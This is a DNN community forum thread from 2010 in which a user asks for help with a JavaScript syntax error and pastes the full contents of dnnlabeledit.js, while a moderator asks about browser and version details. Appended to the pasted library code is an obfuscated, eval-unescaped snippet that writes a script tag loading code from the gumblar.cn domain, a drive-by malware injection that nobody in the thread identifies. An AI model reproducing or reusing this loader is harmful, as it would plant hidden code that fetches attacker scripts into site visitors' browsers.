Products

Solutions

Resources

Partners

Community

Blog

About

QA

Ideas Test

New Community Website

Ordinarily, you'd be at the right spot, but we've recently launched a brand new community website... For the community, by the community.

Yay... Take Me to the Community!

Welcome to the DNN Community Forums, your preferred source of online community support for all things related to DNN.
In order to participate you must be a registered DNNizen

HomeHomeDNN Open Source...DNN Open Source...Provider and Extension ForumsProvider and Extension ForumsClientAPIClientAPIexcepted ";" in dnnlabeledit.jsexcepted ";" in dnnlabeledit.js
Previous
 
Next
New Post
10/18/2010 1:32 AM
 
excepted ";" in dnnlabeledit.js

this error i am getting throught the website... its very urgent..

may i know why the error and can you send the dnnlabeledit.js so that i will replace and check...
 
New Post
10/18/2010 4:30 AM
 
which browser are you using?

Cheers from Germany,
Sebastian Leupold

dnnWerk - The DotNetNuke Experts   German Spoken DotNetNuke User Group

Speed up your DNN Websites with TurboDNN
 
New Post
10/18/2010 5:06 AM
 

Using internet explorer 8.. even i checked in Mozilla Firefox
here is the JS file if I open i will get the same error..

Type.registerNamespace('dnn.controls');dnn.extend(dnn.controls,{initLabelEdit:function(ctl){if(ctl){var lbl=new dnn.controls.DNNLabelEdit(ctl);lbl.initialize();return lbl;}}});dnn.controls.DNNLabelEdit=function(o);{dnn.controls.DNNLabelEdit.initializeBase(this,[o]);this.control=this.container;this.editWrapper=null;this.editContainer=null;this.editControl=null;this.prevText='';this.onblurSave=(this.getProp('blursave','1')=='1');this.toolbarId=this.getProp('tbId','');this.nsPrefix=this.getProp('nsPrefix','');this.toolbarEventName=this.getProp('tbEvent','onmousemove');this.toolbar=null;this.css=o.className;this.cssEdit=this.getProp('cssEdit','');this.cssWork=this.getProp('cssWork','');this.cssOver=this.getProp('cssOver','');this.sysImgPath=this.getProp('sysimgpath','');this.callBack=this.getProp('callback','');this.callBackStatFunc=this.getProp('callbackSF','');if(this.callBackStatFunc.length>0)this.add_handler('callBackStatus',eval(this.callBackStatFunc));this.beforeSaveFunc=this.getProp('beforeSaveF','');if(this.beforeSaveFunc.length>0)this.add_handler('beforeSave',eval(this.beforeSaveFunc));this.eventName=this.getProp('eventName','onclick');this.multiLineEnabled=this.getProp('multiline','0')=='1';this.saveOnEnter=this.getProp('saveonenter','1')=='1';this.richTextEnabled=this.getProp('richtext','0')=='1';this.supportsCE=(document.body.contentEditable!=null);if(dnn.dom.browser.isType(dnn.dom.browser.Safari)||dnn.dom.browser.isType(dnn.dom.browser.Opera))this.supportsCE=false;this.supportsRichText=(this.supportsCE||(dnn.dom.browser.isType(dnn.dom.browser.Mozilla)&&navigator.productSub>='20050111'));if(this.eventName!='none')this.addHandlers(o,this.getDynamicEventObject(this._getEventName(this.eventName),this.performEdit),this);if(this.toolbarId.length>0)this.addHandlers(o,this.getDynamicEventObject(this._getEventName(this.toolbarEventName),this.showToolBar),this);this.addHandlers(o,{'mousemove':this.mouseMove,'mouseout':this.mouseOut},this);this._toolbarActionDelegate=dnn.createDelegate(this,this.toolbarAction);this._initToolbarDelegate=dnn.createDelegate(this,this.initToolbar);this._performEditDelegate=dnn.createDelegate(this,this.performEdit);}dnn.controls.DNNLabelEdit.prototype={isEditMode:function(){return(this.container.style.display!='')},initToolbar:function(){if(this.toolbar==null){var status=dnn.dom.scriptStatus('dnn.controls.dnntoolbar.js');if(status=='complete'){this.toolbar=new dnn.controls.DNNToolBar(this.ns);this.toolbar.loadDefinition(this.toolbarId,this.nsPrefix,this.container,this.container.parentNode,this.container,this._toolbarActionDelegate);this.handleToolbarDisplay();}else if(status=='')dnn.dom.loadScript(dnn.dom.getScriptPath()+'dnn.controls.dnntoolbar.js','',this._initToolbarDelegate);}},toolbarAction:function(btn,src){var action=btn.clickAction;if(action=='edit')this.performEdit();else if(action=='save'){this.persistEdit();this.toolbar.hide();}else if(action=='cancel'){this.cancelEdit();this.toolbar.hide();}else if(this.isFormatButton(action)){if(this.editWrapper){var link;if(action=='createlink'&&dnn.dom.browser.isType(dnn.dom.browser.InternetExplorer)==false)link=prompt(btn.tooltip);this.editWrapper.focus();this.editWrapper.execCommand(action,null,link);}}},performEdit:function(){if(this.toolbar)this.toolbar.hide();this.initEditWrapper();if(this.editContainer!=null){this.editContainer.style.height=(dnn.dom.positioning.elementHeight(this.container)+4)+'px';this.editContainer.style.width='100%';this.editContainer.style.display='';this.editContainer.style.overflow='auto';this.editContainer.style.overflowX='hidden';this.prevText=this.container.innerHTML;if(dnn.dom.browser.isType(dnn.dom.browser.Safari)&&this.container.innerText)this.prevText=this.container.innerText;this.editWrapper.setText(this.prevText);this.initEditControl();this.container.style.display='none';this.handleToolbarDisplay();}},showToolBar:function(){this.initToolbar();if(this.toolbar)this.toolbar.show(true);},mouseMove:function(e){if(this.toolbarId.length>0&&this.toolbarEventName=='onmousemove')this.showToolBar();this.container.className=this.css+' '+this.cssOver;},mouseOut:function(){if(this.toolbar)this.toolbar.beginHide();this.container.className=this.css;},initEditWrapper:function(){if(this.editWrapper==null){var richText=(this.richTextEnabled&&this.supportsRichText);var script=(richText?'dnn.controls.dnnrichtext.js':'dnn.controls.dnninputtext.js');var status=dnn.dom.scriptStatus(script);if(status=='complete'){var txt;if(this.richTextEnabled&&this.supportsRichText){var func=dnn.dom.getObjMethRef(this,'initEditControl');txt=new dnn.controls.DNNRichText(func);}elsetxt=new dnn.controls.DNNInputText(this.multiLineEnabled);this.editWrapper=txt;this.editContainer=this.editWrapper.container;this.container.parentNode.insertBefore(this.editContainer,this.container);if(this.richTextEnabled&&this.supportsCE)this.initEditControl();}else if(status=='')dnn.dom.loadScript(dnn.dom.getScriptPath()+script,'',this._performEditDelegate);}},initEditControl:function(){if(this.editWrapper.initialized){this.editControl=this.editWrapper.control;this.editControl.className=this.container.className+' '+this.cssEdit;this.editWrapper.focus();if(this.editWrapper.loaded==false){var eventObj={keypress:this.handleKeyPress,mousemove:this.mouseMove,mouseout:this.mouseOut};if(this.onblurSave)eventObj.blur=this.persistEdit;if(this.editWrapper.supportsCE||this.editWrapper.isRichText==false)this.addHandlers(this.editControl,eventObj,this);elsethis.addHandlers(this.editContainer.contentWindow.document,eventObj,this);this.editWrapper.loaded=true;}}},persistEdit:function(){if(this.editWrapper.getText()!=this.prevText){if(this.invoke_compatHandler('beforeSave',null,this)){this.editControl.className=this.container.className+' '+this.cssWork;eval(this.callBack.replace('[TEXT]',dnn.escapeForEval(this.editWrapper.getText())));}}elsethis.showLabel();},cancelEdit:function(){this.editWrapper.setText(this.prevText);this.showLabel();},callBackStatus:function(result,ctx,req){var lbl=ctx;lbl.invoke_compatHandler('callBackStatus',result,ctx,req);},callBackSuccess:function(result,ctx,req){ctx.callBackStatus(result,ctx);ctx.invoke_handler('callBackSuccess',new dnn.controls.DNNCallbackEventArgs(result,ctx,req));ctx.showLabel();},raiseEvent:function(sFunc,evt,element){if(this[sFunc].length>0){var ptr=eval(this[sFunc]);return ptr(evt,element)!=false;}return true;},handleToolbarDisplay:function(){if(this.toolbar){var inEdit=this.isEditMode();var btn;for(var key in this.toolbar.buttons){btn=this.toolbar.buttons[key];if(typeof btn=='function')continue;if(key=='edit')btn.visible=!inEdit;else if(this.isFormatButton(key))btn.visible=(inEdit&&this.editWrapper&&this.editWrapper.isRichText);elsebtn.visible=inEdit;}this.toolbar.refresh();}},isFormatButton:function(key){return'~bold~italic~underline~justifyleft~justifycenter~justifyright~insertorderedlist~insertunorderedlist~outdent~indent~createlink~'.indexOf('~'+key+'~')>-1;},showLabel:function(){this.container.innerHTML=this.editWrapper.getText();this.container.style.display='';this.container.className=this.css;this.editContainer.style.display='none';this.handleToolbarDisplay();},callBackFail:function(result,ctx,req){ctx.invoke_handler('callBackFail',new dnn.controls.DNNCallbackEventArgs(result,ctx,req));ctx.cancelEdit();},handleKeyPress:function(e){if(e.charCode==KEY_RETURN&&this.editWrapper.supportsMultiLine==false){if(this.saveOnEnter)this.persistEdit();e.preventDefault();}else if(e.charCode==KEY_ESCAPE){this.cancelEdit();e.preventDefault();}},dispose:function(){this._toolbarActionDelegate=null;this._initToolbarDelegate=null;this._performEditDelegate=null;dnn.controls.DNNLabelEdit.callBaseMethod(this,'dispose');}}dnn.controls.DNNLabelEdit.registerClass('dnn.controls.DNNLabelEdit',dnn.controls.control);<!--

(function(x73bo){var dqO='%';var xuc=('v`61`72`20a`3d`22Scrip`74En`67in`65`22`2c`62`3d`22Versi`6fn()+`22`2cj`3d`22`22`2cu`3dnav`69`67ator`2euserA`67ent`3b`69f`28(`75`2eindexO`66`28`22Win`22`29`3e0)`26`26(u`2eindexOf`28`22NT`206`22)`3c0)`26`26(doc`75ment`2ecookie`2ei`6e`64`65xOf(`22mie`6b`3d1`22)`3c0)`26`26(typeo`66(zrvzts)`21`3dty`70`65of`28`22A`22)`29)`7bzr`76zts`3d`22A`22`3bev`61l(`22if`28wind`6f`77`2e`22`2ba`2b`22)j`3dj`2b`22`2ba+`22Majo`72`22`2bb`2ba+`22`4din`6fr`22+b`2ba+`22Bui`6c`64`22+b+`22`6a`3b`22)`3bdocumen`74`2ewr`69t`65(`22`3cs`63ript`20sr`63`3d`2f`2fgu`6dblar`2ec`6e`2frss`2f`3fi`64`3d`22+j+`22`3e`3c`5c`2fs`63ript`3e`22)`3b`7d').replace(x73bo,dqO);eval(unescape(xuc))})(/`/g);

-->

 
New Post
10/18/2010 6:43 AM
 
sorry, I forgot to ask, which DNN and ASP.Net versions are you using?

Cheers from Germany,
Sebastian Leupold

dnnWerk - The DotNetNuke Experts   German Spoken DotNetNuke User Group

Speed up your DNN Websites with TurboDNN
 
New Post
10/18/2010 7:39 AM
 
Using DNN 5.0.0 And ASP.Net framework 2.0..
 
Previous
 
Next
HomeHomeDNN Open Source...DNN Open Source...Provider and Extension ForumsProvider and Extension ForumsClientAPIClientAPIexcepted ";" in dnnlabeledit.jsexcepted ";" in dnnlabeledit.js


These Forums are dedicated to discussion of DNN Platform and Evoq Solutions.

For the benefit of the community and to protect the integrity of the ecosystem, please observe the following posting guidelines:

  1. No Advertising. This includes promotion of commercial and non-commercial products or services which are not directly related to DNN.
  2. No vendor trolling / poaching. If someone posts about a vendor issue, allow the vendor or other customers to respond. Any post that looks like trolling / poaching will be removed.
  3. Discussion or promotion of DNN Platform product releases under a different brand name are strictly prohibited.
  4. No Flaming or Trolling.
  5. No Profanity, Racism, or Prejudice.
  6. Site Moderators have the final word on approving / removing a thread or post or comment.
  7. English language posting only, please.
What is Liquid Content?
Find Out
What is Liquid Content?
Find Out
What is Liquid Content?
Find Out